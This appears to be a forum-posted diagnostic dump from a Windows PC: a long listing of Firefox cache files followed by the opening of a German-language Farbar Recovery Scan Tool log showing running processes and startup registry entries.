2016-10-13 18:16 - 2016-10-13 18:18 - 0001878 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7E9789E681F526A0DE15EA4E795A78BF1DECE6C4
2016-10-13 18:21 - 2016-10-13 18:21 - 0040642 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7EFA14F5595E6516DE7F10F56A4E508D85687E70
2016-10-13 18:18 - 2016-10-13 18:18 - 0003722 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7F27FE0FE8D9E2EE15B823BC2CB5F048A705F0F6
2016-10-13 18:16 - 2016-10-13 18:16 - 0000925 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7F34C67CA192F909DE5C137217B7BDF9F606FB6C
2016-10-13 18:18 - 2016-10-13 18:18 - 0000101 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7F65D4A3B3D85BF6C2E5D1BC0BA3EEFA9BB0BB55
2016-10-13 18:16 - 2016-10-13 18:16 - 0051303 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7F719795A6CFC65A20D1A8892C2A327EF22B70AA
2016-10-13 18:18 - 2016-10-13 18:18 - 0003144 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7F7EEFEBE0839D6B90769130E8390FD2876474E1
2016-10-13 18:18 - 2016-10-13 18:18 - 0007595 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7FA22B62DA16805BC7E0F531E8B35682ECB8BBFD
2016-10-13 18:19 - 2016-10-13 18:19 - 0003622 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7FC9E7531E5461B4A09B47C3ACD57F53A7B72C55
2016-10-13 18:16 - 2016-10-13 18:16 - 0001573 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7FE175ED0F35995F405CEDC6AE0A16030AD9C3DA
2016-10-13 18:16 - 2016-10-13 18:16 - 0001434 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\7FF3991635B933307D828FDB2E94F8E275A6AF88
2016-10-13 18:19 - 2016-10-13 18:19 - 0004643 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8039A83A3D24308E9266139F7120A9A302DFA707
2016-10-13 18:18 - 2016-10-13 18:18 - 0011651 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8043A34AC75F028C204DE0FD1847325B4A780628
2016-10-13 18:16 - 2016-10-13 18:16 - 0017088 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\805C082E93C683931A667BBEA13F2BC32275C46D
2016-10-13 18:18 - 2016-10-13 18:18 - 0001491 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8074C90E8B40698DA924F0C16BB9D4209690FB94
2016-10-13 18:16 - 2016-10-13 18:16 - 0002274 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\808A47F5043DF9D65F18B88C1FF39712D6923F04
2016-10-13 18:16 - 2016-10-13 18:16 - 0004050 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\80ACFD131A4F179285980BD9964826DCFCABBBC1
2016-10-13 18:19 - 2016-10-13 18:19 - 0009801 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\80C4CDB5E28E0AFAD84836FFE4DB3F4F4FA06DD9
2016-10-13 18:18 - 2016-10-13 18:18 - 0000954 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\80CCFA5456B5DE6E50034ACDF49CD45407F26CCC
2016-10-13 18:16 - 2016-10-13 18:16 - 0033948 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\80DBCF611113221701672670338318B63294C2F0
2016-10-13 18:16 - 2016-10-13 18:18 - 0001344 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\80E89643BFB26AE0747161235F727752E79BFAB0
2016-10-13 18:18 - 2016-10-13 18:18 - 0000112 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\814860B626E13D8DC125EC04811A30B92B1F8A3F
2016-10-13 18:19 - 2016-10-13 18:19 - 0004102 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\81F2F988E3E15E5BE222C9C90D8E3F6DD245075A
2016-10-13 18:16 - 2016-10-13 18:16 - 0013381 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\820AE5DF91700D02FFEBBE0043468E5A7A1ADD96
2016-10-13 18:16 - 2016-10-13 18:16 - 0015643 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\822C4E792BD316557663D427916C692C48686784
2016-10-13 18:18 - 2016-10-13 18:18 - 0001527 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\823331202A4A85B034AB1CAC0BA58718CAB63047
2016-10-13 18:18 - 2016-10-13 18:18 - 0008984 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\82401529CE686509DDEC55DA07F9EF3940D90352
2016-10-13 18:19 - 2016-10-13 18:19 - 0075892 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8254D6C6C3419F0167857779CD8AA7AD34E5180A
2016-10-13 18:19 - 2016-10-13 18:19 - 0032905 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\826B5CC33319B3409D5F1E18CA812CEC4493D1E8
2016-10-13 18:18 - 2016-10-13 18:18 - 0001712 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8281AE76DDE5AFBA57FA17D1F031760211350387
2016-10-13 18:16 - 2016-10-13 18:16 - 0001738 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\82C63B370833816321704D32FC7FBF76481998A3
2016-10-13 18:19 - 2016-10-13 18:19 - 0012225 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\82E4B0ABFDB5AA76BACF72C0320B7DDF65617003
2016-10-13 18:18 - 2016-10-13 18:18 - 0008023 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\82FC18800E04B0BC799E22459E2FB7C3D64EDFC2
2016-10-13 18:16 - 2016-10-13 18:16 - 0019517 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\832947EA21F38D51EC5CFECB00193BBA0B9F0AED
2016-10-13 18:19 - 2016-10-13 18:19 - 0003789 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\83378B81306266ADFC3D8868BAE00C5D46349EBA
2016-10-13 18:18 - 2016-10-13 18:18 - 0100504 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\834C786BA95196463AE7AC444950D8DB948EA482
2016-10-13 18:18 - 2016-10-13 18:18 - 0000723 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\839801A7E6746A4729536342CF6A4241094CF7B3
2016-10-13 18:18 - 2016-10-13 18:18 - 0001979 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\83A52A5D0F9237F1995E53355ED6E93CF7E8E37B
2016-10-13 18:16 - 2016-10-13 18:16 - 0017424 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\83AD501ACFD56636EE540325F626410A08722109
2016-10-13 18:16 - 2016-10-13 18:16 - 0001247 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\83D1DD8C84755A9D1DAF98680A8EFE2063B1327E
2016-10-13 18:18 - 2016-10-13 18:18 - 0004742 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\83D41AB1610F22F1CA14A081D739F78A4A9D0903
2016-10-13 18:19 - 2016-10-13 18:19 - 0071191 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\83D4A8459E0B87005E7C8D3F8703C33823FB964C
2016-10-13 18:16 - 2016-10-13 18:16 - 0007572 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\83F83E388DBB85C0FE3C6FD9C0060768A2136219
2016-10-13 18:23 - 2016-10-13 18:23 - 0003041 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\840A5CF0E70F955EAC2AF5A55CD5C9011AA2FC56
2016-10-13 18:16 - 2016-10-13 18:16 - 0030051 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\84354841EDECA12B8EC4D36C0849CAFFE2DCE126
2016-10-13 18:18 - 2016-10-13 18:18 - 0003852 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8482A5A1B30EE30E3A4F5A22C9AD967758391A35
2016-10-13 18:23 - 2016-10-13 18:23 - 0002743 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\84965C612CC845656CFC5B7520583D7EDCDA81F7
2016-10-13 18:16 - 2016-10-13 18:16 - 0003351 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\84B032C2C5B00688447C8F709103483498958A4B
2016-10-13 18:21 - 2016-10-13 18:21 - 0003819 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\84BBD58FB9260AB48717BADCE1970F0E5798A09C
2016-10-13 18:19 - 2016-10-13 18:19 - 1815010 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\84D3395BDD32C4C4E250EA3D1A6A7433029AE86B
2016-10-13 18:16 - 2016-10-13 18:16 - 0042918 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8513AC06A405C718ECF127F0BAE5F0F1613B7A4E
2016-10-13 18:19 - 2016-10-13 18:19 - 0004087 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\85325446B8C749AA04DFDB2CA7E443FC8A4ABE6A
2016-10-13 18:18 - 2016-10-13 18:19 - 0046958 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8534BBF26AAC0A828D0FD624D1628901A73343A6
2016-10-13 18:18 - 2016-10-13 18:18 - 0001020 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8555B2450E6F202CFB37BFCAF92CFA07C3D0CD19
2016-10-13 18:19 - 2016-10-13 18:19 - 0008035 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8579905A594FD618EE2B10C87884CB4761BA619E
2016-10-13 18:19 - 2016-10-13 18:19 - 1688669 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\859CBD896C33FDA368DE09325789C9198AD9D0C1
2016-10-13 18:21 - 2016-10-13 18:22 - 0003282 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\85E2A545053BEF7DDBF9F8C33D187358F258ED46
2016-10-13 18:16 - 2016-10-13 18:16 - 0008704 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\86130717984FC9364A378B00E85F0102EDE920B9
2016-10-13 18:16 - 2016-10-13 18:16 - 0003076 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\86FD7732FBD93437D7CD32E93F86C1D016416628
2016-10-13 18:19 - 2016-10-13 18:19 - 0003747 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8725E8E62D11338DD836F9EC0615B25D2BDD09D2
2016-10-13 18:16 - 2016-10-13 18:16 - 0001748 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8761B8BB208E9AEA88B97D30C4719AB8C6FA8ED3
2016-10-13 18:18 - 2016-10-13 18:18 - 0001545 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\876D2E4B79A81E7E9E3682CDAA3C197F8FE4E046
2016-10-13 18:19 - 2016-10-13 18:19 - 0018302 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8790063156A34EB2C9E32B154BF2B54C76C75CB0
2016-10-13 18:19 - 2016-10-13 18:19 - 0003429 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8796A127B8B045F8847D920E5F2ECB667241FD72
2016-10-13 18:16 - 2016-10-13 18:16 - 0001791 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\883E9146549D897957F92E4B117FD9193A86EB9C
2016-10-13 18:16 - 2016-10-13 18:18 - 0024605 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8857F3033ADD4EB28817638302A934EFC707BBDC
2016-10-13 18:16 - 2016-10-13 18:16 - 0001598 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\888323B6EA71B7B2A359DBC54987358427984BE8
2016-10-13 18:18 - 2016-10-13 18:18 - 0001163 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\889CD1B0FB801F885ADF394EB567783F762EF121
2016-10-13 18:18 - 2016-10-13 18:18 - 0008108 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\88A49FE782A8563D2A864C26349A396B4F45C694
2016-10-13 18:21 - 2016-10-13 18:21 - 0020945 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\88ABDCC589DE7C1033913B2129464E41FA7FA1D8
2016-10-13 18:16 - 2016-10-13 18:16 - 0001247 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\88C050D8C86A2F2D751E977B907421878BF84D7A
2016-10-13 18:16 - 2016-10-13 18:16 - 0003621 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\89052BEB472549E5B65B7A4DC0BB4EB88AC2E9A3
2016-10-13 18:16 - 2016-10-13 18:16 - 0002274 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8910B99EBB99F72C80CABBFAB2E3F35512125B2D
2016-10-13 18:16 - 2016-10-13 18:23 - 0109534 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\89134A5DF03F2AAA554E139061E11D15B53A683D
2016-10-13 18:18 - 2016-10-13 18:18 - 0017200 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8986117A33F440D23E360AFB1D8EC0B8518D2CD5
2016-10-13 18:16 - 2016-10-13 18:23 - 0006176 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\898E70F06AFEFB4C18B06C3F2ED92F3077B2EA9C
2016-10-13 18:16 - 2016-10-13 18:23 - 0002946 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\89940CC7E5E6AF18FCE51EE7BF1F0AC8B5979485
2016-10-13 18:16 - 2016-10-13 18:16 - 0002432 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\899976D79CCE32795D44CF7953924FE41A4551BF
2016-10-13 18:16 - 2016-10-13 18:16 - 0001247 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8A1C439028CC8FFCDA806728D9C0E6339C5EBEF7
2016-10-13 18:16 - 2016-10-13 18:16 - 0042909 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8A47DF20A2D8E8FA34A7C36E598FABF1CDA31B77
2016-10-13 18:16 - 2016-10-13 18:16 - 0003232 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8A6F2D53315AA322593A2101E9FC090C0C9F2234
2016-10-13 18:18 - 2016-10-13 18:18 - 0040264 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8A93800B8CD1E1ECB423B8DB9E0D47BAA5D7A85A
2016-10-13 18:18 - 2016-10-13 18:18 - 0008629 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8A941EA5C354491A38CC9865E2BA5A9A5AEE204F
2016-10-13 18:19 - 2016-10-13 18:19 - 0004518 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8AD9051D8F820258EDFF0460F8A2502F90458FD7
2016-10-13 18:16 - 2016-10-13 18:16 - 0001177 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8B23B47FE5402B98B69B36E58932204B420E38FE
2016-10-13 18:16 - 2016-10-13 18:16 - 0003164 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8B3E3BAF739291803647EE9D0F600A6C27F519CA
2016-10-13 18:16 - 2016-10-13 18:16 - 0001247 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8B6F5D016B5FE0E91574D3F5B7FEEF8BE1943207
2016-10-13 18:16 - 2016-10-13 18:16 - 0001382 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8B854D924A21B60928EC399D05A0B001D1140939
2016-10-13 18:16 - 2016-10-13 18:16 - 0001797 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8BA2632861D16AFC5B773DDA7179D081832DD209
2016-10-13 18:16 - 2016-10-13 18:16 - 0001461 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8BBA96FC64EB857D886196FBF3C8149911CD029C
2016-10-13 18:18 - 2016-10-13 18:18 - 0001860 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8BC26C72BE958AE3BFD09B60C636C06F72B2A7C4
2016-10-13 18:16 - 2016-10-13 18:16 - 0003866 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8C31AA0F7E85C883902F1CD86E6C17DB7D509017
2016-10-13 18:18 - 2016-10-13 18:18 - 0001532 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8C5173509BA0504016EF56EF53F3A489FF6D15ED
2016-10-13 18:16 - 2016-10-13 18:16 - 0048561 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8C5D888C4A8DBA3618D97CE1779B1C477AC0053D
2016-10-13 18:19 - 2016-10-13 18:19 - 0038636 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8C74E7FA62B42BDC0E95762DB79D1B51E0D295D8
2016-10-13 18:18 - 2016-10-13 18:18 - 0002374 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8C88EC5FE5BE4274845E29554C2062DCF0CA8F60
2016-10-13 18:19 - 2016-10-13 18:19 - 0003778 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8C98F893C7DC5F2C401AD1482A81572B54197408
2016-10-13 18:18 - 2016-10-13 18:18 - 0002759 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8CACCD9738A11B44194A11A81D232FDD7C547AEE
2016-10-13 18:18 - 2016-10-13 18:18 - 0005863 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8CADB6E88A19106538CD74A24590C8A3B7EC11C7
2016-10-13 18:16 - 2016-10-13 18:16 - 0000702 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8CE27C7332DBB9ADBF09B71A13A5DF996FAC67A8
2016-10-13 18:23 - 2016-10-13 18:23 - 0002729 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8CFDE67B916C60CDDD1CAAA4DE0A92D2A7E3AE41
2016-10-13 18:19 - 2016-10-13 18:19 - 0058105 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D046D5E4C998736619A6590FF738258B68B22E6
2016-10-13 18:16 - 2016-10-13 18:16 - 0042937 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D174F2289BB0A701682D074011C5FB08A0141E5
2016-10-13 18:16 - 2016-10-13 18:16 - 0001247 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D21AAF31712A41DAC78BAC0DC2CD3810CBCFB78
2016-10-13 18:19 - 2016-10-13 18:19 - 0000193 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D2D197F84DD0FEB1B81ED93E3ED5C6055836D1C
2016-10-13 18:18 - 2016-10-13 18:18 - 0001413 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D314D833809504CD70C5E86C4D007BE47E930B4
2016-10-13 18:16 - 2016-10-13 18:16 - 0004066 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D3D695BB84DB449F23F8741E0D78B06EC566794
2016-10-13 18:16 - 2016-10-13 18:16 - 0002525 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D51EDE05FDC555C22928ECE876C1931D8AE6E0A
2016-10-13 18:21 - 2016-10-13 18:23 - 0003365 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D5AC58CB74CD620E17F117A43B59674CC00D854
2016-10-13 18:18 - 2016-10-13 18:18 - 0016527 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D5F0F9A0BDE41510CD0B067679A8D59312915A9
2016-10-13 18:18 - 2016-10-13 18:18 - 0022691 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D6DA3EC949A64E70347A8061789170FC664EAB7
2016-10-13 18:15 - 2016-10-13 18:15 - 0022222 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D6E555587E93C6760CFFC06F8B7663B03252BD0
2016-10-13 18:18 - 2016-10-13 18:18 - 0005133 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8D840EF1B86FAABBE981841D4B6142E04234EEA7
2016-10-13 18:16 - 2016-10-13 18:16 - 0001834 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8DA67198E7642E657198E9C51E7BB5D40924CF2A
2016-10-13 18:16 - 2016-10-13 18:18 - 0000908 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8DB8DA8B33E70744AC12DF7F9C142C425835ED10
2016-10-13 18:22 - 2016-10-13 18:22 - 0003504 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E1DE4CE24024183F346E9D8F6C6DDBE5C18FF0D
2016-10-13 18:18 - 2016-10-13 18:18 - 0001866 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E2D13EDE34BC3F62EE2CF93C315050BC2B7F864
2016-10-13 18:18 - 2016-10-13 18:18 - 0009513 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E41B6FA83181E5DAAC0A5CEA402BAB53772AB8C
2016-10-13 18:19 - 2016-10-13 18:19 - 0018335 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E4CED8A45055BCAE4377F85CCB1263B6B9A3C90
2016-10-13 18:16 - 2016-10-13 18:16 - 0001834 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E4EF5851FAADD498B192793E7CC5718ED3DF095
2016-10-13 18:19 - 2016-10-13 18:19 - 0006066 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E58052A3A29AD248D5282F708A333C55C9C3B59
2016-10-13 18:19 - 2016-10-13 18:19 - 0007545 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E67E04AB5998AA85D1D398BE5219BF465AD1B59
2016-10-13 18:19 - 2016-10-13 18:19 - 0022670 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E75FEB4CB5BCC3DB57180F3547F14DE9760C33C
2016-10-13 18:18 - 2016-10-13 18:18 - 0007421 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E83B7D18CCC0CC2538CBD8D8B19C24977DC951F
2016-10-13 18:18 - 2016-10-13 18:18 - 0041759 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E9136C306ECC9B336365EFAA4665CE8871666C5
2016-10-13 18:22 - 2016-10-13 18:22 - 0004256 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8E9D26FC6DAE7109018A50C04422A5706F7BBDD7
2016-10-13 18:21 - 2016-10-13 18:21 - 0320704 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8EB4A2A4034C9AAB8A9EA3EB7BF6EC7169D994E7
2016-10-13 18:19 - 2016-10-13 18:19 - 0350623 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8ECEF5E87FF6303A60BE78017EBD48B9F321E831
2016-10-13 18:16 - 2016-10-13 18:16 - 0000918 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8F1E4877640B1C8A1D65330B34872269F0D5E5C9
2016-10-13 18:18 - 2016-10-13 18:18 - 0003442 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8F4A020D87862A1D29F886629A7BB7128FB8E968
2016-10-13 18:21 - 2016-10-13 18:21 - 0002733 _____ () C:\Users\Nick Schuster\AppData\Local\Profiles\p6h12fxk.default\cache2\entries\8F65E7E33A8F43CC795C3D3953E1DEE8278C6C47

FRST Logfile:
Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 07-06-2017 01
durchgef黨rt von Nick Schuster (Administrator) auf RAZERLAP (08-06-2017 19:23:30)
Gestartet von C:\Users\Nick Schuster\Desktop\anti trojan\killer.exe
Geladene Profile: Nick Schuster (Verf黦bare Profile: Nick Schuster)
Platform: Windows 8.1 (Update) (X64) Sprache: Deutsch (Deutschland)
Internet Explorer Version 11 (Standard-Browser: IE)
Start-Modus: Normal
Anleitung f黵 Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Intel Corporation) C:\Windows\System32\igfxCUIService.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
() C:\Program Files (x86)\Canon\IJPLM\ijplmsvc.exe
(DEVGURU Co., LTD.) C:\Program Files (x86)\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\igfxEM.exe
(Intel Corporation) C:\Windows\System32\igfxHK.exe
() C:\Windows\System32\igfxTray.exe
(Microsoft Corporation) C:\Windows\System32\SkyDrive.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe

==================== Registry (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zur點kgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [AirServer64] => C:\Program Files\App Dynamic\AirServer\AirServer.exe
HKLM\...\Run: [AdobeAAMUpdater-1.0] => "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
HKLM-x32\...\Run: [BlueStacks Agent] => C:\Program Files (x86)\BlueStacks\HD-Agent.exe
